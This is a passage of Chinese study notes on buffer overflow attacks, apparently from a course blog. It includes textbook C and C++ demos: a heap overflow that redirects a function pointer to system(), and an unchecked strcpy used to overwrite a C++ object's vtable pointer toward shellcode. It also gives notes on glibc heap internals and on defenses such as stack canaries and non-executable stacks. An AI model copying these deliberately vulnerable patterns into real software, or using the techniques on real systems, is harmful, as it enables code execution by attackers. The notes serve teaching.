漏洞,将用户输入的字符串缓冲区复制到buffer
时,利用堆溢出,将system()
函数的地址复制至funcptr
,然后程序调用funcptr
函数指针时,会调用system()
函数。
#define ERROR -1
#define BUFSIZE 16
int goodfunc(const char *str)
{
printf("
Hi, I'm a good function. I was called through funcptr.
");
printf("I was passed: %s
", str);
return 0;
}
int main(int argc, char **argv)
{
static char buf[BUFSIZE];
static int (*funcptr)(const char *str);
if (argc <= 2)
{
fprintf(stderr, "Usage: %s <buffer> <goodfunc's arg>
", argv[0]);
exit(ERROR);
}
printf("system()'s address = %p
", &system);
funcptr = (int(*)(const char *str))goodfunc;
printf("before overflow: funcptr points to %p
", funcptr);
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], strlen(argv[1]));
printf("after overflow: funcptr points to %p
", funcptr);
(void)(*funcptr)(argv[2]);
return 0;
}
C++类对象虚函数表改写
C++类通过虚函数提供了一种Late binding
运行过程绑定的机制,编译器为每个包含虚函数的类建立起虚函数表、 存放虚函数的地址,并在每个类对象的内存区中放入一个指向虚函数表的指针,通常称为虚函数指针vptr
对于使用了虚函数机制的C++类,如果它的类成员变量中存在可被溢出的缓冲区,那么就可以进行堆溢出攻击,通过覆盖类对象的虚函数指针,使其指向一个特殊构造的虚丽数表,从而转向执行攻击者恶意注入的指令。
这里给出一个C++类对象虚函数指针改写的示例代码,ClassA中拥有一个虚函数printBuffer
,因此在该类对象的内存中将维护一个指向虛函数表的vptr
, 同时该类中又存在一个可被溢出的缓冲区str
, 在程序中通过new
实例化出Class A的一个类对象a时,在堆中就会为对象a分配一块内存,并保存其成员变量、虚函数指针等内容,而调用setBuffer()
函数时,攻击者就可以通过输入可以控制的攻击数据缓冲区,溢出str
缓冲区,将vptr
覆盖为攻击者精心构造的虚函数表地址,在构造的虚函数表中,攻击者就可以将虚函数指向Shellcode
指令,完成目标程序控制流程的跳转。
#include <iostream>
class A
{
private:
char str[11];
public:
void setBuffer(char * temp)
{
strcpy(str,temp);
}
virtual void printBuffer()
{
cout<<str<<endl;
}
};
void main(int argc, char* argv[])
{
A *a;
a = new A;
a->setBuffer(argv[1]);
a->printBuffer();
}
Linux下堆管理glibe库free()函数漏洞
Linux操作系统中的堆管理是通过glibc库实现的,glibc 2.2.4
及以下版本的堆内存管理算法是使用了Doug Lea
的实现方式,称为dlmalloc
,而glibe 2.2.5
及以上版本则采用了Wolfram Gloger
的ptmalloc/ptmalloc2
代码,ptmalloc
代码是从dlmalloc
代码移植过来的,主要目的是增加了对多线程环境的支持,同时进一步优化了内存分配和回收的算法。dImalloc
实现的glibc
库中的内存块结构如图所示,使用了被称为Bin
的双向循环链表来存储内存空闲块信息,并使用了两个宏来完成对Bin
链表的插入和删除操作,其中用于删除空闲块的unlink
宏定义如下:
1.6 缓冲区溢出攻击的防御技术
- 1.尝试杜绝溢出的防御技术
第一种采取如高级差错程序fault injection,通过Fuzz注入测试来寻找代码的安全漏洞,或者在编译器上引入针对缓冲区的便捷保护检查机制如Jone & Kelly针对gcc的数组边界检查、Compaq C对编译器进行改进杜绝溢出。 - 2.允许溢出但不让程序改变执行流程的防御技术
第二种防御技术允许溢出发生,但对可能影响到程序流程的关键数据结构实施严密的安全保护,不让程序改变其执行流程,从而阻断溢出攻击。通过对编译器gcc加补丁,使得在函数入口处能够自动地在栈中返回地址的前面生成一个Canary检测标记,在函数调用结束检测该标记是否改变来阻止溢出改变返回地址,从而阻止缓冲区溢出攻击。 - 3.无法让攻击代码执行的防御技术
第三种通过堆栈不可执行限制来防御缓冲区溢出攻击,通过CPU硬件和各种操作系统内核补丁来支持堆栈不可执行。
2.学习中遇到的问题及解决
- 问题1:汇编语言分析
问题1解决方案:汇编语言掌握还不够,汇编语言可以通过gcc -s
来获取,感觉还是要多画堆栈图,从源码中进行理解。
3.学习感悟和思考
这一章主要利用系统和软件缓冲区溢出等漏洞来实施攻击,这里需要写shellcode运行,对于汇编语言能力有一定的要求,同时不同漏洞可能会针对不同的系统版本,需要查明一下。关于缓冲区攻击,这里主要参考了博客和教材进行代码分析,教材上的代码不是很清楚,不过网上类似的都还能找到。